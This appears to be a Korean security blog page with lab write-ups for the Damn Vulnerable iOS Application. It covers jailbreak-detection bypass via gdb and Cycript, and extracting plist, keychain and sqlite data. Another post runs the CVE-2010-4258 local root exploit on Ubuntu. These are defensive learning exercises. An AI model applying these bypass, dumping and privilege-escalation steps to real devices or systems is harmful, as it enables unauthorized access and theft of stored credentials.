(gdb) disassemble

blx는 링크 포함 분기 및 교환 명령어 세트 정보를 담고 있으며, 이전에 경고 메시지를 출력한 Object_msgSend를 호출할 때도 이용하기 때문에 모든 blx 주소를 저장하여 중단점을 걸어둡니다.


 참조 : http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0204ik/Cihfddaf.html


(gdb) b *주소


(gdb) c

(gdb) x/s $r1

레지스트리 $r1에 저장된 변수를 확인하며, Class-dump-z에서 분석한 "showAlertForJilbreakTestIsJailbroken:"이 발견 될 때까지 진행합니다.


"showAlertForJilbreakTestIsJailbroken:"을 확인합니다.


(gdb) set $r2 = 0

(gdb) c

레지스트리 $r2에는 함수에서 탈옥 탐지를 수행하고 return 될 정보가 담겨있으며, 해당 정보를 0으로 세팅합니다.


DVIA 앱으로 돌아가면 탈옥 탐지가 우회한 "Device is Not Jailbroken" 메시지를 확인 가능합니다.


022. Jailbreak Test 2 (Cycript)


DVIA 모바일 앱에서 Jailbreak Detection을 메뉴를 선택한 후 "Jailbreak Test 2"을 확인하면 탈옥 탐지를 확인하는 "Device is Jailbreken" 경고 메시지를 확인 할 수 있다.


# 진행단계 #

1. 테스트 실행(탐지)

2. Class 정보 획득

3. Cycript 실행하여 변수 변경

4. RUN



Class-dump-z를 이용하여 실행 중인 DVIA의 Class 정보를 획득한다.

~ # ps -ef | grep "Damn"

~ # class-dump-z /var/mobile/Application/[DVIA 설치 ]/DamnVulnerableIOSApp.app/DamnVulnerableIOSApp > DVIA.classdum.txt

UIViewController Object 내 JailbreakDetectionVC 함수에서 탈옥 탐지하는 변수(- (BOOL) isJailbreaken;)을 확인합니다.


# cycript -p [PID]

cy# UIApp [UIViewController 접근]

cy# JailbreakDetectionVC.messages [JailbreakDetectionVC에서 사용하는 변수 주소 출력]


 참조 : http://www.cycript.org/


cy# JailbreakDetectionVC.messages['isJailbreaken'] = function () { return NO };


DVIA 앱으로 돌아가면 탈옥 탐지가 우회한 "Device is Not Jailbroken" 메시지를 확인 가능합니다.


 Cycript 단점 : GDB처럼 실행 시 동적으로 변수이 불가능합니다. 모바일 앱은 실행하되 메모리에 저장된 변수 정보를 변경하는 메모리 변조와 동일합니다




저작자 표시 비영리 동일 조건 변경 허락
신고

'40. > 42. iOS' 카테고리의 다른 글

[DVIA] 10. Binary Patching  (0) 2014.11.12
[DVIA] 03. Runtime Manipulation  (0) 2014.09.11
[DVIA] 02. Jailbreak Detection  (5) 2014.09.11
[DVIA] 01. Insecure Data Storage  (0) 2014.09.10
[iOS] Logify  (0) 2014.07.24
[DVIA] Damn Vulnerable iOS Application  (0) 2014.07.21

[DVIA] 01. Insecure Data Storage


Insecure Data Storage는 중요한 데이터를 적절한 보호없이 장치 내에 저장할때 발생하는 취약점입니다.


011. Plist


/var/mobile/Application 디렉토리는 iOS 모바일 앱이 설치되는 샌드박스 저장 공간으로 iDevice에서 사용자가 설치한 모든 모바일 앱에 대한 정보 및 실행 파일이 존재한다.

프로퍼티 리스트 (property list) 는 Mac OS X, iOS, NeXTSTEP, GNUstep 프로그래밍 소프트웨어 프레임워크 등에 이용되는 객체 직렬화 를위한 파일 이다. 또한 . plist 라는 확장자 를 가지므로, 보통 plist 파일이라고 하는 경우가 많다. 프로퍼티 리스트 파일은 보통 사용자의 설정을 저장하는데 쓰인다. 또한, 번들과 애플리케이션 소프트웨어 정보를 저장하기 위해서도 사용되고, 이전 맥 OS 에서는 리소스 포크 정보를 저장하는데에 사용되었다.

- 위키백과


username/passwd 입력후 "Save in Plist file"을 누른다.


해당 정보는 앱 샌드박스(application sandbox) 디렉토리 내 plist 확장자를 가진 파일에 저장된다.

간단하게 plist를 보는 프로그램은 다양하지만 iRET을 통하여도 plist 정보를 확인 가능하다.



012. NSUerDefaults


NSUserDefaults을 사용하여 저장하는 모든 정보는 암호화되지 않은 형태로 저장된다.


해당 정보는 하위 경로에 저장된다.

Library -> Preferences -> $AppBundleld.plist

중요 정보를 저장할때 NSUserDefaults를 사용하는건 좋은 방법이 아닌걸 확인 가능하다.



013. Keychain


Apple devices는 비밀번호 관리 기능으로 유용하게 사용하는 키체인(KeyChain)을 이용한다. 키체인은 dump를 이용하여 획득이 가능하며, 해당 정보는 웹 사이트 로그인정보, 신용카드 정보, 무선네트워크 정보 및 모바일 앱 설정에 따라서 앱 계정 정보가 저장 가능하다.


※ 다운로드 : https://github.com/ptoomey3/Keychain-Dumper


keychainDumper 실행한다.


keychain에 저장된 모든 정보 확인 가능하다.



014. Core Data


iDevice에서 사용하는 데이터베이스인 sqlite는 sqlite 또는 db라는 확장자를 가지고 있다. 경우에 따라서 확장자가 없는 경우도 있으며, PE구조를 확인하면 SQL 문구를 확인 가능하다. iOS 모바일 앱에서 데이터를 데이터베이스 형태로 저장 가능하다.






find ./ -name *sql*

sqlite3 ./Documents/CoreData.sqlite

sqlite> .tables

sqlite> .heaaders on

sqlite> select * from ZUSER;








저작자 표시 비영리 동일 조건 변경 허락
신고

'40. > 42. iOS' 카테고리의 다른 글

[DVIA] 03. Runtime Manipulation  (0) 2014.09.11
[DVIA] 02. Jailbreak Detection  (5) 2014.09.11
[DVIA] 01. Insecure Data Storage  (0) 2014.09.10
[iOS] Logify  (0) 2014.07.24
[DVIA] Damn Vulnerable iOS Application  (0) 2014.07.21
GikDBG iOS assembly-level debugger iOS 디버거  (3) 2014.07.17

[Local Exploit] Local Privilege Escalation 


CVE-2010-4258

쓰레드가 CLONE_CHILD_CLEARIED 플레그를 이용하여 Clone(2)를 통해 생성 된경우, NULL 단어는 사용자가 지정한 포인터에 쓰레드 종료를 기록한다. 해당 기록은 put_user()를 사용하여 종료되며, access_ok() 함수를 통해 호출하여 유효한 사용자 공간에 있는 제공 대상자에 확인된다. 하지만, Nelson은 커널이 주소 제한 오버라이트 set_fs(KERNEL_DS)와 OOPSes(via BUG, page fault, etc.), 해당 종료 경로가 put_user() 호출로 복귀되기 전에 사용자를 허용하는 임의의 커널 주소 NULL로 재 작성한다.

This is the interesting one, and the reason I wrote this exploit.  If a thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL word will be written to a user-specified pointer when that thread exits. This write is done using put_user(), which ensures the provided destination resides in valid userspace by invoking access_ok().

However, Nelson discovered that when the kernel performs an address limit override via set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault, etc.), this override is not reverted before calling put_user() in the exit path, allowing a user to write a NULL word to an arbitrary kernel address. Note that this issue requires an additional vulnerability to trigger.



exploit란?

취약점 공격 또는 익스플로잇(exploit)이란 컴퓨터의 소프트웨어나 하드웨어 및 컴퓨터 관련 전자 제품의 버그, 보안 취약점 등 설계상 결함을 이용해 공격자의 의도된 동작을 수행하도록 만들어진 절차나 일련의 명령, 스크립트, 프로그램 또는 특정한 데이터 조각을 말하며, 이러한 것들을 사용한 공격 행위를 이르기도 한다. 

- 위키백과



excution


사용한 OS : Ubuntu 10.04

Kernel 버전 : 2.6.32-21

취약점 버전 : CVE-2010-4258


Ubuntu 실행한다.




~ $ uname -a

Linux ubuntu 2.6.32-21-generic

공격할 exploit의 경우 Linux Kernel 2.6.37 이하 버전에서 발생한다.



~ $ id

현재 로그인한 사용자 계정 권한 확인한다. 일반사용자로 생성한 계정이며 uid 1000을 사용한다.


www.exploit-db.com에서 exploit source 다운로드한다.

http://www.exploit-db.com/exploits/15704/



Source






ubuntu 해당 소스코드를 다운받고 gcc를 이용하여 컴파일 한다.

~ $ gcc -o CVE2010-4258 CVE2010-4258.c




~ $ ./CVE2010-4258

exploit 실행하여 root 권한 획득을 확인한다.


uid 0 획득



저작자 표시
신고

[iOS] Logify

40./42. iOS 2014.07.24 15:01

Logify.pl


Logify is a utility that accepts a class header (.h file) as input and generates a MobileSubstrate extension (.xm file) which hooks all of that class's methods, printing log messages when they are called. This helps a hook developer see when certain methods are invoked during use. Comes with Theos.


사용법


실행은 bash 명령어 입력란에 다음과 같이 사용하면 된다.

 logify.pl SomeClassHeader.h > tweak.xm


This will create a new tweak source file (tweak.xm) using the methods defined in the header file `SomeClassHeader.h`. You can then use tweak.xm as the basis for a new tweak project, or integrate the generated code into your own project.


이슈


Doesn't generate any output if the interface line doesn't have a subclass, e.g. @interface MyClass, replace with @interface MyClass : NSObject


※ 참조 : http://iphonedevwiki.net/index.php/Logify



저작자 표시
신고

'40. > 42. iOS' 카테고리의 다른 글

[DVIA] 02. Jailbreak Detection  (5) 2014.09.11
[DVIA] 01. Insecure Data Storage  (0) 2014.09.10
[iOS] Logify  (0) 2014.07.24
[DVIA] Damn Vulnerable iOS Application  (0) 2014.07.21
GikDBG iOS assembly-level debugger iOS 디버거  (3) 2014.07.17
iRET  (0) 2014.07.16

DVIA Solution



01. Insecure Data Storage

011. Plist

012. NSUserDefaults

013. Keychain

014. Core Data


02. Jailbreak Detection

021. Jailbreak Test 1

022. Jailbreak Test 2


03. Runtime Manipulation

031. Login Method 1

032. Login Method 2


04. Piracy Detection

041. Check for Piracy

042. Check for Piracy


05. Security Decision via Untrusted input

051. call


06. Side Channel Data Leakage

061. Device Logs

062. App Screenshot

063. Pasteboard

064. Keystroke logging


07. Transport Layer Protection

071. Send Over HTTP

072. Send Over HTTPS


08. Client Side Injection

081. what is your name ?


09. Broken Cryptography

091. Set a password here


10. Binary Patching

011. Login Method 1

012. Check For Jailbreak

013. Show alert

014. Kill Application


저작자 표시
신고

'40. > 42. iOS' 카테고리의 다른 글

[DVIA] 01. Insecure Data Storage  (0) 2014.09.10
[iOS] Logify  (0) 2014.07.24
[DVIA] Damn Vulnerable iOS Application  (0) 2014.07.21
GikDBG iOS assembly-level debugger iOS 디버거  (3) 2014.07.17
iRET  (0) 2014.07.16
[Cydia App] iDevice VNC용 Veency  (0) 2014.07.16
1 2 3 4 

카운터

Total : 85,369 / Today : 1 / Yesterday : 31
get rsstistory!